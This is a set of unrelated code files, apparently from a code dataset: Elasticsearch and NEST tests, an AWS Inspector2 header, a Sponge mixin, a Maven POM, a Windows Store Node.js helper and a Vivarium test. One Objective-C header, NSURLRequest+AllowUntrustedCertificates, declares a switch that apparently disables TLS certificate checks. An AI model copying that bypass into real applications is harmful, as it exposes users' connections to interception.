            doc = jsonBuilder().startObject().field("foo", "bar").endObject();
            bulkBuilder.add(client.prepareIndex("index", "type").setSource(doc));
        }

        BulkResponse response = bulkBuilder.get();
        if (response.hasFailures()) {
            for (BulkItemResponse singleIndexRespons : response.getItems()) {
                if (singleIndexRespons.isFailed()) {
                    fail("None of the bulk items should fail but got " + singleIndexRespons.getFailureMessage());
                }
            }
        }

        refresh();
        SearchResponse searchResponse = client().prepareSearch("index").setSize(numDocs * 2).addStoredField("_id").get();

        Set<String> uniqueIds = new HashSet<>();
        long dupCounter = 0;
        boolean found_duplicate_already = false;
        for (int i = 0; i < searchResponse.getHits().getHits().length; i++) {
            if (!uniqueIds.add(searchResponse.getHits().getHits()[i].getId())) {
                if (!found_duplicate_already) {
                    SearchResponse dupIdResponse = client().prepareSearch("index").setQuery(termQuery("_id",
                        searchResponse.getHits().getHits()[i].getId())).setExplain(true).get();
                    assertThat(dupIdResponse.getHits().getTotalHits(), greaterThan(1L));
                    logger.info("found a duplicate id:");
                    for (SearchHit hit : dupIdResponse.getHits()) {
                        logger.info("Doc {} was found on shard {}", hit.getId(), hit.getShard().getShardId());
                    }
                    logger.info("will not print anymore in case more duplicates are found.");
                    found_duplicate_already = true;
                }
                dupCounter++;
            }
        }
        assertSearchResponse(searchResponse);
        assertThat(dupCounter, equalTo(0L));
        assertHitCount(searchResponse, numDocs);
        IndicesStatsResponse index = client().admin().indices().prepareStats("index").clear().setSegments(true).get();
        IndexStats indexStats = index.getIndex("index");
        long maxUnsafeAutoIdTimestamp = Long.MIN_VALUE;
        for (IndexShardStats indexShardStats : indexStats) {
            for (ShardStats shardStats : indexShardStats) {
                SegmentsStats segments = shardStats.getStats().getSegments();
                maxUnsafeAutoIdTimestamp = Math.max(maxUnsafeAutoIdTimestamp, segments.getMaxUnsafeAutoIdTimestamp());
            }
        }
        assertTrue("exception must have been thrown otherwise setup is broken", exceptionThrown.get());
        assertTrue("maxUnsafeAutoIdTimestamp must be > than 0 we have at least one retry", maxUnsafeAutoIdTimestamp > -1);
    }
}


text:
layout: post
title: "Hanami"
slug: hanami
source: http://hanamirb.org/
image: hanami.png
---


text:
#pragma once
#include <aws/inspector2/Inspector2_EXPORTS.h>
#include <aws/core/utils/memory/stl/AWSString.h>

namespace Aws
{
namespace Inspector2
{
namespace Model
{
  enum class ScanStatusReason
  {
    NOT_SET,
    PENDING_INITIAL_SCAN,
    ACCESS_DENIED,
    INTERNAL_ERROR,
    UNMANAGED_EC2_INSTANCE,
    UNSUPPORTED_OS,
    SCAN_ELIGIBILITY_EXPIRED,
    RESOURCE_TERMINATED,
    SUCCESSFUL,
    NO_RESOURCES_FOUND,
    IMAGE_SIZE_EXCEEDED,
    SCAN_FREQUENCY_MANUAL,
    SCAN_FREQUENCY_SCAN_ON_PUSH,
    EC2_INSTANCE_STOPPED
  };

namespace ScanStatusReasonMapper
{
AWS_INSPECTOR2_API ScanStatusReason GetScanStatusReasonForName(const Aws::String& name);

AWS_INSPECTOR2_API Aws::String GetNameForScanStatusReason(ScanStatusReason value);
} // namespace ScanStatusReasonMapper
} // namespace Model
} // namespace Inspector2
} // namespace Aws


text:
package org.spongepowered.common.mixin.inventory.api.world.entity.player;

import net.minecraft.world.inventory.AbstractContainerMenu;
import net.minecraft.world.inventory.InventoryMenu;
import net.minecraft.world.inventory.PlayerEnderChestContainer;
import org.spongepowered.api.entity.living.player.Player;
import org.spongepowered.api.item.inventory.Inventory;
import org.spongepowered.api.item.inventory.equipment.EquipmentInventory;
import org.spongepowered.asm.mixin.Final;
import org.spongepowered.asm.mixin.Mixin;
import org.spongepowered.asm.mixin.Shadow;
import org.spongepowered.common.bridge.world.inventory.InventoryBridge;
import org.spongepowered.common.inventory.adapter.InventoryAdapter;

@Mixin(net.minecraft.world.entity.player.Player.class)
public abstract class PlayerMixin_Inventory_API implements Player, InventoryBridge {

    @Shadow @Final public net.minecraft.world.entity.player.Inventory inventory;
    @Shadow public AbstractContainerMenu containerMenu;

    @Shadow public abstract PlayerEnderChestContainer shadow$getEnderChestInventory();

    @Shadow @Final public InventoryMenu inventoryMenu;

    @Override
    public org.spongepowered.api.item.inventory.entity.PlayerInventory inventory() {
        return (org.spongepowered.api.item.inventory.entity.PlayerInventory) this.inventory;
    }

    @Override
    public EquipmentInventory equipment() {
        return this.inventory().equipment();
    }

    @Override
    public Inventory enderChestInventory() {
        return (Inventory) this.shadow$getEnderChestInventory();
    }

    @Override
    public InventoryAdapter bridge$getAdapter() {
        return (InventoryAdapter) this.inventory;
    }
}


text:
//
//  NSURLRequest+AllowUntrustedCertificates.h
//
//  Created by Martin Reinhardt on 23.06.2014.
//  Copyright Martin Reinhardt 2014. All rights reserved.

#import <Foundation/Foundation.h>

@interface NSURLRequest (AllowUntrustedCertificates)

+(void)setAllowAllRequests:(BOOL)allowRequests;
@end


text:
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
	<modelVersion>4.0.0</modelVersion>

	<groupId>com.maestrano</groupId>
	<artifactId>maestrano-java</artifactId>
	<packaging>jar</packaging>
	<version>2.0.0-RC3-SNAPSHOT</version>
	<name>maestrano-java</name>
	<description>Java bindings for the Maestrano API</description>
	<url>https://github.com/maestrano/maestrano-java</url>

	<organization>
		<name>Maestrano</name>
		<url>https://maestrano.com</url>
	</organization>

	<licenses>
		<license>
			<name>MIT License</name>
			<url>http://www.opensource.org/licenses/mit-license.php</url>
		</license>
	</licenses>

	<distributionManagement>
		<snapshotRepository>
			<id>ossrh</id>
			<url>https://oss.sonatype.org/content/repositories/snapshots</url>
		</snapshotRepository>
		<repository>
			<id>ossrh</id>
			<url>https://oss.sonatype.org/service/local/staging/deploy/maven2/</url>
		</repository>
	</distributionManagement>

	<scm>
		<connection>scm:git:git@github.com:maestrano/maestrano-java.git</connection>
		<developerConnection>scm:git:git@github.com:maestrano/maestrano-java.git</developerConnection>
		<url>git@github.com:maestrano/maestrano-java.git</url>
		<tag>HEAD</tag>
	</scm>
	<developers>
		<developer>
			<name>Arnaud Lachaume</name>
			<email>arnaud.lachaume@maestrano.com</email>
			<organization>Maestrano</organization>
			<organizationUrl>https://maestrano.com</organizationUrl>
		</developer>
		<developer>
			<name>Bruno Chauvet</name>
			<email>bruno.chauvet@maestrano.com</email>
			<organization>Maestrano</organization>
			<organizationUrl>https://maestrano.com</organizationUrl>
		</developer>
		<developer>
			<name>Xavier Delamotte</name>
			<email>xavier.delamotte@maestrano.com</email>
			<organization>Maestrano</organization>
			<organizationUrl>https://maestrano.com</organizationUrl>
		</developer>
	</developers>

	<dependencies>
		<dependency>
			<groupId>com.google.guava</groupId>
			<artifactId>guava</artifactId>
			<version>19.0</version>
		</dependency>
		<dependency>
			<groupId>com.google.code.gson</groupId>
			<artifactId>gson</artifactId>
			<version>2.2.4</version>
		</dependency>
		<dependency>
			<groupId>commons-io</groupId>
			<artifactId>commons-io</artifactId>
			<version>2.4</version>
		</dependency>
		<dependency>
			<groupId>javax.servlet</groupId>
			<artifactId>servlet-api</artifactId>
			<version>2.5</version>
			<scope>provided</scope>
		</dependency>
		<dependency>
			<groupId>junit</groupId>
			<artifactId>junit</artifactId>
			<scope>test</scope>
		</dependency>
		<!-- https://mvnrepository.com/artifact/org.slf4j/slf4j-api -->
		<dependency>
			<groupId>org.slf4j</groupId>
			<artifactId>slf4j-api</artifactId>
			<version>1.7.21</version>
		</dependency>
		<dependency>
			<groupId>javax.xml.bind</groupId>
			<artifactId>jaxb-api</artifactId>
			<version>2.1</version>
		</dependency>
		<!-- https://mvnrepository.com/artifact/javax.xml.crypto/jsr105-api -->
		<dependency>
			<groupId>joda-time</groupId>
			<artifactId>joda-time</artifactId>
			<version>2.9.9</version>
		</dependency>
		<dependency>
			<groupId>javax.xml.crypto</groupId>
			<artifactId>jsr105-api</artifactId>
			<version>1.0.1</version>
		</dependency>
		<dependency>
			<groupId>net.jadler</groupId>
			<artifactId>jadler-core</artifactId>
			<version>1.2.0</version>
			<scope>test</scope>
		</dependency>
		<dependency>
			<groupId>net.jadler</groupId>
			<artifactId>jadler-jdk</artifactId>
			<version>1.2.0</version>
			<scope>test</scope>
		</dependency>
		<dependency>
			<groupId>org.hamcrest</groupId>
			<artifactId>hamcrest-all</artifactId>
			<version>1.3</version>
			<scope>test</scope>
		</dependency>
	</dependencies>
	<dependencyManagement>
		<dependencies>
			<dependency>
				<groupId>junit</groupId>
				<artifactId>junit</artifactId>
				<version>4.10</version>
			</dependency>

		</dependencies>
	</dependencyManagement>
	<build>
		<plugins>
			<plugin>
				<groupId>org.apache.maven.plugins</groupId>
				<artifactId>maven-gpg-plugin</artifactId>
				<version>1.5</version>
				<executions>
					<execution>
						<id>sign-artifacts</id>
						<phase>verify</phase>
						<goals>
							<goal>sign</goal>
						</goals>
					</execution>
				</executions>
			</plugin>
			<plugin>
				<groupId>org.apache.maven.plugins</groupId>
				<artifactId>maven-compiler-plugin</artifactId>
				<version>3.1</version>
				<configuration>
					<source>1.5</source>
					<target>1.5</target>
				</configuration>
			</plugin>
			<plugin>
				<groupId>org.apache.maven.plugins</groupId>
				<artifactId>maven-source-plugin</artifactId>
				<version>2.3</version>
				<executions>
					<execution>
						<id>attach-sources</id>
						<goals>
							<goal>jar</goal>
						</goals>
					</execution>
				</executions>
			</plugin>
			<plugin>
				<groupId>org.apache.maven.plugins</groupId>
				<artifactId>maven-javadoc-plugin</artifactId>
				<version>2.9.1</version>
				<executions>
					<execution>
						<id>attach-javadocs</id>
						<goals>
							<goal>jar</goal>
						</goals>
						<configuration>
							<additionalparam>-Xdoclint:none</additionalparam>
						</configuration>
					</execution>
				</executions>
			</plugin>
			<plugin>
				<groupId>org.sonatype.plugins</groupId>
				<artifactId>nexus-staging-maven-plugin</artifactId>
				<version>1.6.3</version>
				<extensions>true</extensions>
				<configuration>
					<serverId>ossrh</serverId>
					<nexusUrl>https://oss.sonatype.org/</nexusUrl>
					<autoReleaseAfterClose>true</autoReleaseAfterClose>
				</configuration>
			</plugin>
			<plugin>
				<groupId>org.apache.maven.plugins</groupId>
				<artifactId>maven-release-plugin</artifactId>
				<version>2.5.3</version>
			</plugin>
		</plugins>
		<resources>
			<resource>
				<directory>${basedir}/src/main/resources</directory>
				<filtering>true</filtering>
			</resource>
		</resources>
	</build>
</project>


text:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Reflection;
using Nest.Tests.MockData.Domain;
using NUnit.Framework;

namespace Nest.Tests.Unit.Reproduce
{
	/// <summary>
	/// tests to reproduce reported errors
	/// </summary>
	[TestFixture]
	public class Reproduce1435Tests : BaseJsonTests
	{
		[Test]
		public void UsingExplicitCasts()
		{
			var aggregations = new Dictionary<string, IAggregationContainer>
			{
				{
					//Aggregators missing implicit casts to AggregationContainer
					"my_aggregation", new AggregationContainer
					{
						Filter = new FilterAggregator
						{
							Filter = (FilterContainer)new QueryFilter
							{
								Query = (QueryContainer)new QueryStringQuery
								{
									Query = "Just an example"
								}
							}
						}
					}
				}
			};

			var result = this._client.Search<ElasticsearchProject>(new SearchRequest<ElasticsearchProject>
			{
				Aggregations = aggregations
			});

			this.JsonEquals(result.ConnectionStatus.Request, MethodBase.GetCurrentMethod(), "OISAggs");
		}

		[Test]
		public void UsingConstructor()
		{
			var aggregations = new Dictionary<string, IAggregationContainer>
			{
				{
					//AggregationContaner should accept aggregators in constructor
					"my_aggregation", new AggregationContainer
					{
						Filter = new FilterAggregator
						{
							Filter = new FilterContainer(new QueryFilter
							{
								Query = new QueryContainer(new QueryStringQuery
								{
									Query = "Just an example"
								})
							})
						}
					}
				}
			};

			var result = this._client.Search<ElasticsearchProject>(new SearchRequest<ElasticsearchProject>
			{
				Aggregations = aggregations
			});

			this.JsonEquals(result.ConnectionStatus.Request, MethodBase.GetCurrentMethod(), "OISAggs");
		}

		[Test]
		public void UsingToContainer()
		{
			var aggregations = new Dictionary<string, IAggregationContainer>
			{
				{
					"my_aggregation", new AggregationContainer
					{
						Filter = new FilterAggregator
						{
							Filter = new QueryFilter
							{
								Query = new QueryStringQuery
								{
									Query = "Just an example"
								}.ToContainer()
							}.ToContainer()
						} //Aggregator is missing ToContainer()
					}
				}
			};

			var result = this._client.Search<ElasticsearchProject>(new SearchRequest<ElasticsearchProject>
			{
				Aggregations = aggregations
			});

			this.JsonEquals(result.ConnectionStatus.Request, MethodBase.GetCurrentMethod(), "OISAggs");
		}

	}
}


text:
const
	appc = require('node-appc'),
	async = require('async'),
	fs = require('fs'),
	magik = require('./utilities').magik,
	path = require('path'),
	visualstudio = require('./visualstudio'),
	__ = appc.i18n(__dirname).__;

var architectures = [ 'arm', 'x86', 'x64' ];

var detectCache,
	deviceCache = {};

exports.install = install;
exports.launch = launch;
exports.uninstall = uninstall;
exports.detect = detect;

/**
 * Installs a Windows Store application.
 *
 * @param {Object} [options] - An object containing various settings.
 * @param {String} [options.buildConfiguration='Release'] - The type of configuration to build using. Example: "Release" or "Debug".
 * @param {Function} [callback(err)] - A function to call after installing the Windows Store app.
 *
 * @emits module:winstore#error
 * @emits module:winstore#installed
 *
 * @returns {EventEmitter}
 */
function install(projectDir, options, callback) {
	return magik(options, callback, function (emitter, options, callback) {
		var scripts = [],
			packageScript = 'Add-AppDevPackage.ps1';

		// find the Add-AppDevPackage.ps1
		(function walk(dir) {
			fs.readdirSync(dir).forEach(function (name) {
				var file = path.join(dir, name);
				if (fs.statSync(file).isDirectory()) {
					walk(file);
				} else if (name === packageScript && (!options.buildConfiguration || path.basename(dir).indexOf('_' + options.buildConfiguration) !== -1)) {
					scripts.push(file);
				}
			});
		}(projectDir));

		if (!scripts.length) {
			var err = new Error(__('Unable to find built application. Please rebuild the project.'));
			emitter.emit('error', err);
			return callback(err);
		}

		// let's grab the first match
		appc.subprocess.getRealName(scripts[0], function (err, psScript) {
			if (err) {
				emitter.emit('error', err);
				return callback(err);
			}

			appc.subprocess.run(options.powershell || 'powershell', ['-ExecutionPolicy', 'Bypass', '-NoLogo', '-NoProfile', '-File', psScript, '-Force'], function (code, out, err) {
				if (!code) {
					emitter.emit('installed');
					return callback();
				}

				// I'm seeing "Please run this script without the -Force parameter" for Win 8.1 store apps.
				// This originally was "Please rerun the script without the -Force parameter" (for Win 8 hybrid apps?)
				// It's a hack to check for the common substring. Hopefully use of the exact error codes works better first
				// Error codes 9 and 14 mean rerun without -Force
				if ((code && (code == 9 || code == 14)) ||
					out.indexOf('script without the -Force parameter') !== -1) {
					appc.subprocess.run(options.powershell || 'powershell', ['-ExecutionPolicy', 'Bypass', '-NoLogo', '-NoProfile', '-File', psScript], function (code, out, err) {
						if (err) {
							emitter.emit('error', err);
							callback(err);
						} else {
							emitter.emit('installed');
							callback();
						}
					});
					return;
				}

				// must have been some other issue, error out
				var ex = new Error(__('Failed to install app: %s', out));
				emitter.emit('error', ex);
				callback(ex);
			});
		});
	});
}

/**
 * Uninstalls a Windows Store application.
 *
 * @param {String} appId - The application id.
 * @param {Object} [options] - An object containing various settings.
 * @param {String} [options.powershell='powershell'] - Path to the 'powershell' executable.
 * @param {Function} [callback(err)] - A function to call after uninstalling the Windows Store app.
 *
 * @emits module:winstore#error
 * @emits module:winstore#uninstalled
 *
 * @returns {EventEmitter}
 */
function uninstall(appId, options, callback) {
	return magik(options, callback, function (emitter, options, callback) {
		appc.subprocess.run(options.powershell || 'powershell', ['-command', 'Get-AppxPackage'], function (code, out, err) {
			if (code) {
				var ex = new Error(__('Could not query the list of installed Windows Store apps: %s', err || code));
				emitter.emit('error', ex);
				return callback(ex);
			}

			var packageNameRegExp = new RegExp('PackageFullName[\\s]*:[\\s]*(' + appId + '.*)'),
				packageName;

			out.split(/\r\n|\n/).some(function (line) {
				var m = line.trim().match(packageNameRegExp);
				if (m) {
					packageName = m[1];
					return true;
				}
			});

			if (packageName) {
				appc.subprocess.run(options.powershell || 'powershell', ['-command', 'Remove-AppxPackage', packageName], function (code, out, err) {
					if (err) {
						emitter.emit('error', err);
						callback(err);
					} else {
						emitter.emit('uninstalled');
						callback();
					}
				});
			} else {
				emitter.emit('uninstalled');
				callback();
			}
		});
	});
}

/**
 * Launches a Windows Store application.
 *
 * @param {String} appId - The application id.
 * @param {String} version - The application version.
 * @param {Object} [options] - An object containing various settings.
 * @param {String} [options.powershell='powershell'] - Path to the 'powershell' executable.
 * @param {String} [options.version] - The specific version of the app to launch. If empty, picks the largest version.
 * @param {Function} [callback(err)] - A function to call after uninstalling the Windows Store app.
 *
 * @emits module:winstore#error
 * @emits module:winstore#launched
 *
 * @returns {EventEmitter}
 */
function launch(appId, options, callback) {
	return magik(options, callback, function (emitter, options, callback) {
		var wstool = path.resolve(__dirname, '..', 'bin', 'wstool.exe');

		function runTool() {
			var args = ['launch', appId];

			options.version && args.push(options.version);

			appc.subprocess.run(wstool, args, function (code, out, err) {
				if (code) {
					var ex = new Error(__('Erroring running wstool (code %s)', code) + '\n' + out);
					emitter.emit('error', ex);
					callback(ex);
				} else {
					emitter.emit('installed');
					callback();
				}
			});
		}

		if (fs.existsSync(wstool)) {
			runTool();
		} else {
			visualstudio.build(appc.util.mix({
				buildConfiguration: 'Release',
				project: path.resolve(__dirname, '..', 'wstool', 'wstool.csproj')
			}, options), function (err, result) {
				if (err) {
					emitter.emit('error', err);
					return callback(err);
				}

				var src = path.resolve(__dirname, '..', 'wstool', 'bin', 'Release', 'wstool.exe');
				if (!fs.existsSync(src)) {
					var ex = new Error(__('Failed to build the wstool executable.') + (result ? '\n' + result.out : ''));
					emitter.emit('error', ex);
					return callback(ex);
				}

				// sanity check that the wstool.exe wasn't copied by another async task in windowslib
				if (!fs.existsSync(wstool)) {
					fs.writeFileSync(wstool, fs.readFileSync(src));
				}

				runTool();
			});
		}
	});
}

/**
 * Detects Windows Store SDKs.
 *
 * @param {Object} [options] - An object containing various settings.
 * @param {Boolean} [options.bypassCache=false] - When true, re-detects the Windows SDKs.
 * @param {String} [options.preferredWindowsSDK] - The preferred version of the Windows SDK to use by default. Example "8.0".
 * @param {String} [options.supportedWindowsSDKVersions] - A string with a version number or range to check if a Windows SDK is supported.
 * @param {Function} [callback(err, results)] - A function to call with the Windows SDK information.
 *
 * @emits module:windowsphone#detected
 * @emits module:windowsphone#error
 *
 * @returns {EventEmitter}
 */
function detect(options, callback) {
	return magik(options, callback, function (emitter, options, callback) {
		if (detectCache && !options.bypassCache) {
			emitter.emit('detected', detectCache);
			return callback(null, detectCache);
		}

		var results = {
				windows: {},
				issues: []
			},
			searchPaths = [
				'HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Microsoft SDKs\\Windows', // probably nothing here
				'HKEY_LOCAL_MACHINE\\Software\\Wow6432Node\\Microsoft\\Microsoft SDKs\\Windows' // this is most likely where Windows SDK will be found
			];

		function finalize() {
			detectCache = results;
			emitter.emit('detected', results);
			callback(null, results);
		}

		async.each(searchPaths, function (keyPath, next) {
			appc.subprocess.run('reg', ['query', keyPath], function (code, out, err) {
				var keyRegExp = /.+\\(v\d+\.\d)$/;
				if (!code) {
					out.trim().split(/\r\n|\n/).forEach(function (key) {
						key = key.trim();
						var m = key.match(keyRegExp);
						if (!m) {
							return;
						}
						var version = m[1].replace(/^v/, '');
						if (m) {
							results.windows || (results.windows = {});
							results.windows[version] = {
								version: version,
								registryKey: keyPath + '\\' + m[1],
								supported: !options.supportedWindowsSDKVersions || appc.version.satisfies(version, options.supportedWindowsSDKVersions, false), // no maybes
								path: null,
								signTool: null,
								makeCert: null,
								pvk2pfx: null,
								selected: false
							};
						}
					});
				}
				next();
			});
		}, function () {
			// check if we didn't find any Windows SDKs, then we're done
			if (!Object.keys(results.windows).length) {
				results.issues.push({
					id: 'WINDOWS_STORE_SDK_NOT_INSTALLED',
					type: 'error',
					message: __('Microsoft Windows Store SDK not found.') + '\n' +
					__('You will be unable to build Windows Store apps.')
				});
				return finalize();
			}

			// fetch Windows SDK install information
			async.each(Object.keys(results.windows), function (ver, next) {
				appc.subprocess.run('reg', ['query', results.windows[ver].registryKey, '/v', '*'], function (code, out, err) {
					if (code) {
						// bad key? either way, remove this version
						delete results.windows[ver];
					} else {
						// get only the values we are interested in
						out.trim().split(/\r\n|\n/).forEach(function (line) {
							var parts = line.trim().split('   ').map(function (p) { return p.trim(); });
							if (parts.length == 3) {
								if (parts[0] == 'InstallationFolder') {
									results.windows[ver].path = parts[2];

									function addIfExists(key, exe) {
										for (var i = 0; i < architectures.length; i++) {
											var arch = architectures[i],
												tool = path.join(parts[2], 'bin', arch, exe);
											if (fs.existsSync(tool)) {
												!results.windows[ver][key] && (results.windows[ver][key] = {});
												results.windows[ver][key][arch] = tool;
											}
										}
									}

									addIfExists('signTool', 'SignTool.exe');
									addIfExists('makeCert', 'MakeCert.exe');
									addIfExists('pvk2pfx', 'pvk2pfx.exe');
								}
							}
						});
					}
					next();
				});
			}, function () {
				// double check if we didn't find any Windows SDKs, then we're done
				if (Object.keys(results.windows).every(function (v) { return !results.windows[v].path; })) {
					results.issues.push({
						id: 'WINDOWS_STORE_SDK_NOT_INSTALLED',
						type: 'error',
						message: __('Microsoft Windows Store SDK not found.') + '\n' +
						__('You will be unable to build Windows Store apps.')
					});
					return finalize();
				}

				if (Object.keys(results.windows).every(function (v) { return !results.windows[v].deployCmd; })) {
					results.issues.push({
						id: 'WINDOWS_STORE_SDK_MISSING_DEPLOY_CMD',
						type: 'error',
						message: __('Microsoft Windows Store SDK is missing the deploy command.') + '\n' +
						__('You will be unable to build Windows Store apps.')
					});
					return finalize();
				}

				var preferred = options.preferred;
				if (!results.windows[preferred] || !results.windows[preferred].supported) {
					preferred = Object.keys(results.windows).filter(function (v) { return results.windows[v].supported; }).sort().pop();
				}
				if (preferred) {
					results.windows[preferred].selected = true;
				}

				finalize();
			});
		});
	});
}


text:
package io.vivarium.scripts.json;

import org.junit.Test;
import org.junit.experimental.categories.Category;

import com.johnuckele.vtest.Tester;

import io.vivarium.core.GridWorldBlueprint;
import io.vivarium.core.GridWorld;
import io.vivarium.serialization.JSONConverter;
import io.vivarium.serialization.VivariumObjectCollection;
import io.vivarium.test.FastTest;
import io.vivarium.test.IntegrationTest;

public class JSONConverterTest
{
    @Test
    @Category({ FastTest.class, IntegrationTest.class })
    public void testSaveLoadSaveWorld()
    {
        GridWorldBlueprint worldBlueprint = GridWorldBlueprint.makeDefault();
        GridWorld worldOriginal = new GridWorld(worldBlueprint);
        String jsonString1 = JSONConverter.serializerToJSONString(worldOriginal);
        VivariumObjectCollection copiedCollection = JSONConverter.jsonStringToSerializerCollection(jsonString1);
        GridWorld worldCopy = copiedCollection.getFirst(GridWorld.class);
        String jsonString2 = JSONConverter.serializerToJSONString(worldCopy);
        System.out.println(jsonString1);
        System.out.println(jsonString2);
        Tester.notEqual("jsonStrings shot not be empty", jsonString1.length(), 0);
        Tester.equal("jsonStrings should also be the same length", jsonString1.length(), jsonString2.length());
    }

}